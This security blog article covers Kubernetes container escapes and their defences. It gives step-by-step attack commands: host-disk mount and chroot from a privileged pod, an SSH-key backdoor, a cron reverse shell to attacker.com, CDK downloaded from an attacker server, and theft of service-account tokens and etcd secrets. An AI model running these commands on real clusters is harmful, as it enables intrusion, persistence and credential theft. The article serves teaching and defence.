Back to Blog
Vulnerability Research

Exploiting Container Escape Vulnerabilities in Kubernetes Environments

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Exploiting Container Escape Vulnerabilities in Kubernetes Environments
TL;DR — A container is not a security boundary the way a VM is — it's a set of Linux kernel features (namespaces, cgroups, capabilities, seccomp, LSMs) configured to look isolated. Container escape is the art of finding where that configuration is loose: a privileged pod, a mounted host path or Docker socket, an over-granted capability, or a kernel/runtime bug. This article maps the escape surface in Kubernetes — from privileged: true and hostPath mounts to CAP_SYS_ADMIN, the /proc and release_agent tricks, runtime CVEs (runc), and node-to-cluster pivots via the kubelet and service-account tokens — plus the Pod Security and policy controls that close each door.

Executive Summary

Kubernetes runs untrusted (and trusted-but-compromisable) workloads as containers on shared worker nodes. The implicit promise is that a process inside a pod cannot affect the host or other pods. But that promise rests entirely on configuration of kernel primitives, and Kubernetes makes it dangerously easy to weaken them — a single securityContext field, a convenient hostPath volume, or a debugging capability left in production can collapse the boundary between container and node.

Once an attacker has code execution in a pod (via an app vulnerability, a poisoned image, or supply-chain compromise), the escalation ladder is: container → node (host root) → other pods on the node → the cluster (via stolen credentials) → cloud account (via the node's IAM identity). Container escape is the first rung, and in misconfigured clusters it's often trivial — no kernel exploit required, just abusing privileges the operator handed over.

The reason this matters at cloud scale is the blast radius. Escaping to the node yields the secrets and service-account tokens of every pod scheduled there, and the node's kubelet credentials and cloud instance role can frequently be leveraged to move laterally across the whole cluster and into the cloud control plane. One loose pod can become full cluster compromise.

What Actually Isolates a Container

diagram — rendering…
flowchart TD
    A["Container 'isolation' = sum of kernel features"] --> B["Namespaces<br/>(PID, mount, net, user, IPC, UTS)"]
    A --> C["cgroups<br/>(resource limits)"]
    A --> D["Capabilities<br/>(subset of root powers)"]
    A --> E["seccomp<br/>(syscall filter)"]
    A --> F["LSM: AppArmor / SELinux"]
    B & C & D & E & F --> G["Weaken ANY of these → escape surface"]
    style G fill:#2a0c14,stroke:#ef233c,color:#fee2e2

A container shares the host kernel; "isolation" is namespaces hiding the host's processes/mounts/network, capabilities limiting what root-in-container can do, seccomp restricting syscalls, and an LSM constraining file/operation access. Every escape is fundamentally the removal or bypass of one of these layers. The job of the attacker post-foothold is enumeration: which layer is loose here?

bash
# in-pod enumerationcat /proc/1/cgroup; cat /proc/self/status | grep Cap   # capabilitiesls -la /var/run/docker.sock 2>/dev/null                 # mounted docker socket?mount | grep -E 'hostPath|/host'                         # host mounts?env | grep -i kube; ls /run/secrets/kubernetes.io/...    # SA token present?cat /proc/self/status | grep Seccomp                     # seccomp on?

Automated tooling (peirates, kube-hunter, amicontained, deepce, BOtB) accelerates this enumeration and even automates several escapes.

Escape 1 — Privileged Containers (privileged: true)

The big one. A pod with securityContext.privileged: true runs with all capabilities, no seccomp, no device restrictions, and access to all host devices — it is effectively root on the node with a thin namespace veneer. Escape is trivial: mount the host's root disk and chroot into it.

bash
# inside a privileged containerfdisk -l                                  # find host disk, e.g. /dev/sda1mkdir /host && mount /dev/sda1 /host       # mount host root fschroot /host bash                          # now operating as root on the NODE# drop an SSH key, read every pod's secrets, etc.

A privileged pod is not a container in any security sense; it's a root shell on the node waiting to happen. There is essentially no legitimate multi-tenant reason for it.

Escape 2 — Mounted Docker / Containerd Socket

If a pod mounts the container runtime socket (/var/run/docker.sock or the containerd socket) — common in CI/CD runners and "Docker-in-Docker" setups — the attacker can command the runtime to start a new privileged container that mounts the host:

bash
docker -H unix:///var/run/docker.sock run -it --privileged \  -v /:/host alpine chroot /host sh        # → node root

Talking to the runtime socket is equivalent to being root on the node, because the runtime is root and will launch any container you ask. Mounting it into a pod is handing over the node.

Escape 3 — hostPath Mounts and Host Namespaces

text
DANGEROUS POD SPEC FIELDS              ESCAPEvolumes: hostPath: path: /             Read/write the entire host filesystemhostPID: true                          See & signal host processes; /proc trickshostNetwork: true                      Access node-local services, metadata APIhostIPC: true                          Shared memory with host processes

A hostPath volume of / (or even /etc, /root, /var/lib/kubelet) lets the pod read host files and write a cron job, SSH key, or sudoers entry → node root. hostPID: true exposes host processes, enabling /proc/<pid>/root traversal and process injection. hostNetwork: true reaches the cloud instance metadata service (169.254.169.254) to steal the node's IAM credentials. Each host-namespace sharing flag re-exposes a layer the container was supposed to hide.

Escape 4 — CAP_SYS_ADMIN and the release_agent Trick

You don't need full privileged — a single over-granted capability suffices. `CAP_SYS_ADMIN` is "the new root": it permits mounting filesystems, and the classic cgroup-v1 release_agent escape leverages exactly that.

diagram — rendering…
sequenceDiagram
    participant C as Container (CAP_SYS_ADMIN)
    participant CG as cgroup v1
    participant H as Host kernel
    C->>CG: mount a cgroup controller inside the container
    C->>CG: set notify_on_release=1
    C->>CG: write a host path into release_agent (runs on HOST)
    C->>CG: trigger release (empty the cgroup)
    CG->>H: kernel executes release_agent script AS ROOT ON HOST
    H-->>C: arbitrary command output / shell on node
    Note over C,H: CAP_SYS_ADMIN → node root, no privileged flag needed

The release_agent file holds a path the kernel runs on the host when a cgroup empties. With CAP_SYS_ADMIN (to mount the cgroupfs) the attacker points it at a script on a shared mount and triggers it — the kernel executes it as host root. Other dangerous caps: CAP_DAC_READ_SEARCH (read any host file via open_by_handle_at — the "Shocker" escape), CAP_SYS_PTRACE + hostPID (inject into host processes), CAP_SYS_MODULE (load a kernel module = total host control).

Escape 5 — Runtime and Kernel CVEs

When configuration is tight, bugs in the runtime or kernel break out:

CVEComponentEffect
CVE-2019-5736runcA malicious container overwrites the host runc binary via /proc/self/exe, gaining host root on next container exec — the landmark runc escape
CVE-2022-0847Linux kernel (Dirty Pipe)Overwrite read-only host files mapped into the container → host root
CVE-2024-21626runcLeaked file descriptor lets a container access the host filesystem (WORKDIR to /proc/self/fd/...) → escape
CVE-2022-0185Linux kernel (fs context)Heap overflow reachable with CAP_SYS_ADMIN (incl. user-namespace) → container escape

These don't need a misconfiguration — a default-but-unpatched runtime is enough. CVE-2019-5736 is the canonical example: simply exec-ing into a malicious container could overwrite the host's runc and root the node. Keep runtimes patched.

The Pivot: Node → Cluster → Cloud

Escape to the node is rarely the goal — it's the pivot. On the node, the attacker harvests:

diagram — rendering…
flowchart TD
    A["Node root (after escape)"] --> B["Every pod's mounted SA token<br/>/var/lib/kubelet/pods/.../token"]
    A --> C["kubelet credentials<br/>(node identity, /var/lib/kubelet)"]
    A --> D["Cloud instance IAM role<br/>(169.254.169.254)"]
    B --> E["Query API server as those SAs<br/>(RBAC permitting)"]
    C --> F["kubelet API: exec into pods,<br/>read all node secrets"]
    D --> G["Cloud account lateral movement"]
    E & F & G --> H["Cluster / cloud compromise"]
    style H fill:#2a0c14,stroke:#ef233c,color:#fee2e2
  • Service-account tokens. Every pod on the node has its SA token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token (unless disabled). Node root reads all of them and impersonates each SA against the API server — if any SA has broad RBAC (cluster-admin, secrets read, pod-exec), it's game over.
  • kubelet credentials. The node's kubelet identity can list pods and, depending on config, read secrets and exec into containers cluster-wide.
  • Cloud IAM. The node's instance profile/managed identity (reachable via metadata once on the host or with hostNetwork) often grants ECR/GCR pull, S3, or worse — pivoting from cluster into the cloud account (see the companion AWS lateral-movement article).

This is why a single escapable pod is a cluster-level risk: the node is a credential trove.

Defence: Re-Harden Every Layer

diagram — rendering…
flowchart TD
    A["Defense in depth"] --> B["Pod Security Admission: 'restricted'<br/>(no privileged, no hostPath, drop caps)"]
    A --> C["Policy engine: OPA/Gatekeeper or Kyverno<br/>(block dangerous specs cluster-wide)"]
    A --> D["seccomp RuntimeDefault + AppArmor/SELinux"]
    A --> E["runAsNonRoot, readOnlyRootFilesystem,<br/>drop ALL caps, no privilege escalation"]
    A --> F["Least-privilege RBAC + scoped SA tokens"]
    A --> G["Patch runtime (runc) & node kernel"]
    style A fill:#0c2a22,stroke:#21d48e,color:#d1fae5
  • Adopt Pod Security Admission `restricted` (the successor to PodSecurityPolicy). It forbids privileged, host namespaces, hostPath, privilege escalation, and requires dropping capabilities and running as non-root — closing escapes 1–4 by policy.
  • Enforce with a policy engine. OPA/Gatekeeper or Kyverno can block any pod that sets privileged: true, mounts the docker socket, uses hostPath/hostPID/hostNetwork, or adds dangerous capabilities — cluster-wide, with audit. Make the dangerous spec unschedulable.
  • Harden every workload's `securityContext`: runAsNonRoot: true, allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, capabilities.drop: ["ALL"] (add back only the few truly needed), and a seccompProfile: RuntimeDefault. Apply AppArmor/SELinux profiles.
  • Never mount the runtime socket into pods; use rootless/sidecarless build approaches (Kaniko, BuildKit rootless) for CI instead of Docker-in-Docker.
  • Minimise and scope service-account tokens. Set automountServiceAccountToken: false where not needed; give each SA least-privilege RBAC; avoid cluster-admin and broad secrets/exec grants. This limits the node-to-cluster pivot even if escape occurs.
  • Patch runtimes and kernels promptly — runc CVEs (2019-5736, 2024-21626) and kernel CVEs (Dirty Pipe, 2022-0185) escape correctly configured containers; patching is the only fix.
  • Restrict node metadata access (IMDSv2 with hop limit, or network policy blocking 169.254.169.254 from pods) to cut the cloud-credential pivot.
  • Consider stronger isolation for untrusted workloads — gVisor, Kata Containers, or Firecracker microVMs put a real kernel/VM boundary around hostile tenants, so a kernel-level escape doesn't reach the host.
  • Monitor and audit. Use Falco/eBPF runtime security to alert on in-container mount, release_agent writes, /proc/self/exe overwrites, unexpected chroot, and docker-socket access — the behavioural signatures of escape attempts.

--privileged Container Escape: Step-by-Step

A privileged container receives all Linux capabilities, disables seccomp, and has access to all host devices. It is the most complete collapse of container isolation. The following sequence demonstrates a complete escape to host root, including persistence via host cron:

bash
# Step 1: Confirm you are in a privileged containercat /proc/self/status | grep CapEff# CapEff: 0000003fffffffff   (all bits set = privileged) # Alternatively:ip link add dummy0 type dummy 2>/dev/null && echo "privileged confirmed" # Step 2: Identify the host disk devicefdisk -l 2>/dev/null | grep -E '^Disk /dev/[sv]d'# Disk /dev/sda: 50 GiB ... # Step 3: Mount the host root filesystemmkdir -p /tmp/hescmount /dev/sda1 /tmp/hescls /tmp/hesc/etc/   # → host /etc/ is now visible # Step 4: Option A — drop SSH key for persistent accessmkdir -p /tmp/hesc/root/.sshecho "ssh-rsa AAAA... attacker@machine" >> /tmp/hesc/root/.ssh/authorized_keyschmod 600 /tmp/hesc/root/.ssh/authorized_keys # Step 4: Option B — write a root cron job for reverse shell persistenceecho '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' \  >> /tmp/hesc/etc/cron.d/backdoorchmod 644 /tmp/hesc/etc/cron.d/backdoor # Step 5: chroot into host — now operating as root on the nodechroot /tmp/hesc /bin/bash # Verify: hostname, kernel, and process tree are the HOST'shostnameps aux | head -5cat /etc/os-release

Once chrooted, you have a fully functional root shell on the host. From here you can read all pod secrets, steal kubelet credentials, and pivot through the cluster. The cron backdoor persists across pod restarts because it lives on the host filesystem.

CDK: Container Duck-Knife for Automated Escape

CDK (Container Duck-Knife, github.com/cdk-team/CDK) is an open-source offensive container toolkit written in Go. It provides automated privilege checking, escape attempts, and post-exploitation capabilities in a single static binary that can be dropped into any container.

Dropping CDK into a Container

bash
# From the attacker machine: start a simple HTTP serverpython3 -m http.server 8080 # Inside the target container: download CDKcurl -o /tmp/cdk http://attacker.com:8080/cdk_linux_amd64chmod +x /tmp/cdk # Or use wget, or base64-encode and pipe it in:# base64 cdk | xclip; then in container: echo "<base64>" | base64 -d > /tmp/cdk

Enumerating Container Privileges

bash
# Run the full privilege check — enumerates capabilities, mounts,# service account tokens, environment variables, and kubernetes context/tmp/cdk evaluate # Example output sections:# [  Information Gathering  ]# [*] CAP_SYS_ADMIN enabled# [*] Found docker.sock at /var/run/docker.sock# [*] K8s service account token found: /run/secrets/kubernetes.io/serviceaccount/token# [*] K8s API server: https://10.96.0.1:443# [*] Node: node01 (IP: 10.0.0.5)

Automated Escape Attempts

bash
# Attempt all known escapes automatically — CDK tries each technique# and reports which succeeded/tmp/cdk auto-escape # Targeted escape attempts:/tmp/cdk run shim-pwn            # runc CVE exploitation/tmp/cdk run mount-disk          # privileged disk mount escape/tmp/cdk run docker-sock-escape  # Docker socket abuse/tmp/cdk run cgroup-escape       # release_agent cgroup escape # After escape, post-exploitation:/tmp/cdk run k8s-secret-dump     # dump all accessible K8s secrets/tmp/cdk run k8s-psp-dump        # enumerate Pod Security Policies/tmp/cdk run istio-dump-token    # steal Istio service tokens

CDK's evaluate output drives the decision tree: if CAP_SYS_ADMIN is present, the cgroup release_agent escape is attempted; if the Docker socket is mounted, a privileged sibling container is launched; if the disk is accessible, it is mounted and chroot'd. CDK reduces a 20-step manual process to a single command.

Kubernetes API Server SSRF from a Compromised Pod

Every pod in a Kubernetes cluster is automatically issued a service-account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. This token authenticates against the Kubernetes API server — and if the associated ServiceAccount has broad RBAC permissions, it is a cluster-privilege escalation vector from within the pod.

Discovering and Using the Service Account Token

bash
# Inside any Kubernetes podTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crtAPISERVER=https://kubernetes.default.svc # Query the API server with the pod's own tokencurl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \  $APISERVER/api/v1/namespaces/default/secrets # Enumerate accessible resourcescurl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \  -X POST -H "Content-Type: application/json" \  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview",       "spec":{"resourceAttributes":{"verb":"get","resource":"secrets"}}}' # If the SA can create pods, launch a privileged pod for escapecurl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \  -H "Content-Type: application/json" -X POST \  $APISERVER/api/v1/namespaces/default/pods \  -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"escape"},       "spec":{"hostPID":true,"hostNetwork":true,               "containers":[{"name":"c","image":"alpine",               "securityContext":{"privileged":true},               "volumeMounts":[{"mountPath":"/host","name":"host"}]}],               "volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'# → newly scheduled privileged pod with host filesystem mounted

A service account with pods/create permission is a container escape in a single API call — spawn a privileged pod with a hostPath: / mount and chroot your way out.

Node-Level Privilege Escalation After Escape

After escaping to a cluster node, the node itself is a treasure trove of credentials and pivot opportunities.

Stealing Pod Secrets from kubelet Storage

Every pod's mounted secrets (ConfigMaps, Secrets, service-account tokens) are stored on the node under /var/lib/kubelet/pods/. Node root can read all of them:

bash
# As root on the node, enumerate all pod secretsfind /var/lib/kubelet/pods/ -name "*.token" -o -name "token" 2>/dev/null | \  xargs -I{} sh -c 'echo "=== {} ==="; cat {} 2>/dev/null; echo' # Identify high-value service accounts (cluster-admin, CI/CD, vault agents)for token_path in $(find /var/lib/kubelet/pods/ -name token); do  token=$(cat $token_path)  # Decode and inspect the JWT payload  echo $token | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool | \    grep -E 'sub|namespace|name'done # Use a high-privilege token found on the nodekubectl --token=$(cat /path/to/stolen/token) get secrets -Akubectl --token=$(cat /path/to/stolen/token) create clusterrolebinding pwn \  --clusterrole=cluster-admin --serviceaccount=default:pwned-sa

Accessing etcd for Cluster-Wide Secret Extraction

If the node is a control-plane node, etcd — Kubernetes' backing store — holds all secrets cluster-wide in base64 encoding. etcd listens on port 2379/2380 and is typically authenticated with client certificates stored on the control-plane node:

bash
# On a control-plane node, find etcd certsls /etc/kubernetes/pki/etcd/ # Query etcd directly — all secrets in the clusterETCDCTL_API=3 etcdctl \  --endpoints=https://127.0.0.1:2379 \  --cacert=/etc/kubernetes/pki/etcd/ca.crt \  --cert=/etc/kubernetes/pki/etcd/server.crt \  --key=/etc/kubernetes/pki/etcd/server.key \  get /registry/secrets --prefix --keys-only # Extract and decode a specific secretETCDCTL_API=3 etcdctl [...] get /registry/secrets/kube-system/bootstrap-token-xxxx | \  strings | grep -A5 bootstrap

etcd access yields every Kubernetes Secret in the cluster — database passwords, API keys, TLS certificates, and service-account tokens — without needing RBAC permission to read individual secrets through the API server.

MITRE ATT&CK Mapping

ATT&CK IDTechniqueKubernetes Container Escape Relevance
T1611Escape to HostPrivileged container disk mount + chroot; CAPSYSADMIN cgroup release_agent escape; Dirty Pipe from container
T1613Container and Resource DiscoveryCDK evaluate, kubectl enumeration of pod specs, SA tokens, RBAC policies
T1552.007Credentials in Files: Container APIReading service-account tokens from /run/secrets/kubernetes.io/serviceaccount/token inside pods
T1552.001Credentials in FilesReading pod secrets from /var/lib/kubelet/pods/ after node escape
T1078.003Valid Accounts: Local AccountsUsing stolen kubelet or SA credentials to authenticate to the API server
T1530Data from Cloud Storage ObjectUsing stolen node IAM credentials (via 169.254.169.254) to access cloud storage
T1046Network Service DiscoveryPort scanning internal cluster services via XXE or direct socket from compromised pod

Conclusion and Takeaways

Container escape in Kubernetes is best understood as the systematic defeat of a configuration, not the breaking of a hard boundary. A container is isolated only to the extent that namespaces, capabilities, seccomp, and LSMs are correctly and tightly set — and Kubernetes makes it trivially easy to loosen them. The escape ladder is depressingly short in misconfigured clusters: a privileged: true pod mounts the host disk and chroots to node root; a mounted Docker socket launches a privileged sibling; a hostPath: / writes an SSH key; a stray CAP_SYS_ADMIN drives the cgroup release_agent trick. Where configuration is tight, runtime and kernel CVEs (runc's 2019-5736 and 2024-21626, Dirty Pipe, 2022-0185) break out regardless — which is why patching is non-negotiable.

The stakes are cluster-wide because the node is a credential trove: escape yields every co-scheduled pod's service-account token, the kubelet's identity, and the node's cloud IAM role, chaining container → node → cluster → cloud. The defence must therefore re-harden every layer and assume escape will eventually be attempted: enforce Pod Security restricted and back it with Gatekeeper/Kyverno so dangerous specs can't schedule; drop all capabilities, run as non-root with read-only roots and RuntimeDefault seccomp; never mount the runtime socket; scope service-account tokens and RBAC to the minimum; patch runtimes and kernels relentlessly; block pod access to node metadata; and for genuinely untrusted workloads, put a real boundary — gVisor, Kata, or microVMs — around them. Treat every pod as a potential foothold on the node, and design so that one loose container cannot become the whole cluster.